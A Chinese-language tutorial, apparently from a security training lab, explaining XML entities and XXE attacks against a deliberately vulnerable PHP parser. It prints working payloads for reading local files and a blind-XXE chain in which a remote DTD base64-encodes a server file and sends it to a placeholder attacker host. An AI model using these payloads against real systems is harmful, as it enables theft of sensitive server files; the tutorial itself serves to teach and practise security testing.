淺析無回顯的XXE(Blind XXE)

 xml介紹

 XML是一種非常流行的標記語言,在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。 但是,在處理外部實體時,可以針對應用程序啓動許多攻擊。 這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的範圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決於這些攻擊的上下文。

 內部實體

 XML 文檔有自己的一個格式規範,這個格式規範是由一個叫做 DTD(document type definition) 的東西控制的。

<?xml version="1.0"?>//這一行是 XML 文檔定義
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

 上面這個 DTD 就定義了 XML 的根元素是 message,然後跟元素下面有一些子元素,那麼 XML 到時候必須像下面這麼寫

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

 其實除了在 DTD 中定義元素(其實就是對應 XML 中的標籤)以外,我們還能在 DTD 中定義實體(對應XML 標籤中的內容),畢竟 XML 中除了能標籤以外,還需要有些內容是固定的

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

 這裏 定義元素爲 ANY 說明接受任何元素,但是定義了一個 xml 的實體(實體其實可以看成一個變量,到時候我們可以在 XML 中通過 & 符號進行引用),那麼 XML 就可以寫成這樣

 示例代碼:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

 我們使用 &xxe 對 上面定義的 xxe 實體進行了引用,到時候輸出的時候 &xxe 就會被 "test" 替換。

 外部實體

 示例代碼:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
   <user>&xxe;</user>
   <pass>mypass</pass>
</creds>

 當然,還有一種引用方式是使用 引用公用 DTD 的方法,語法如下:

<!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>

 我們上面已經將實體分成了兩個派別(內部實體和外部外部),但是實際上從另一個角度看,實體也可以分成兩個派別(通用實體和參數實體)。

 通用實體

 用 &實體名;在DTD 中定義,在 XML 文檔中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>  
   <firstname>Joe</firstname>  
   <lastname>&file;</lastname>  
  ...
</updateProfile>

 參數實體

 (1)使用 % 實體名(這裏面空格不能少) 在 DTD 中定義,並且只能在 DTD 中使用 %實體名; 引用(2)只有在 DTD 文件中,參數實體的聲明才能引用其他實體(3)和通用實體一樣,參數實體也可以外部引用

 示例代碼:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

 拋轉:參數實體在我們 Blind XXE 中起到了至關重要的作用

 有回顯XXE

 這個實驗的攻擊場景模擬的是在服務能接收並解析 XML 格式的輸入並且有回顯的時候,我們就能輸入我們自定義的 XML 代碼,通過引用外部實體的方法,引用服務器上面的文件。

 本地服務器上放上解析 XML 的 php 代碼:

 xml.php

<?php
   libxml_disable_entity_loader (false);
   $xmlfile = file_get_contents('php://input');
   $dom = new DOMDocument();
   $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
   $creds = simplexml_import_dom($dom);
   echo $creds;
?>

 其中:LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件

 觸發xxe

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>

1.png

 讀取本地服務器C盤的flag文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/flag"> ]>
<creds>&goodies;</creds>

2.png

 引用外部實體讀取文件

3.png

 引用方式是使用 引用公用 DTD 的方法讀取

4.png

 無回顯XXE

 有回顯的情況可以直接在頁面中看到Payload的執行結果或現象,無回顯的情況又稱爲blind xxe,可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然後將內容以http請求發送到接受數據的服務器。

 xml.php

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

 test.dtd

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx?p=file;'>">

 payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

 我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用後請求遠程服務器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然後 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然後將 %file 的結果填入到 %send 以後(因爲實體的值中不能有 %, 所以將其轉成html實體編碼 %),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。

5.png

6.png

 這樣,我們就讀到了flag文件的內容。

 

 實驗推薦

 實驗:第十四周 | blind xxe(合天網安實驗室) 點擊進入實操>>

 更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章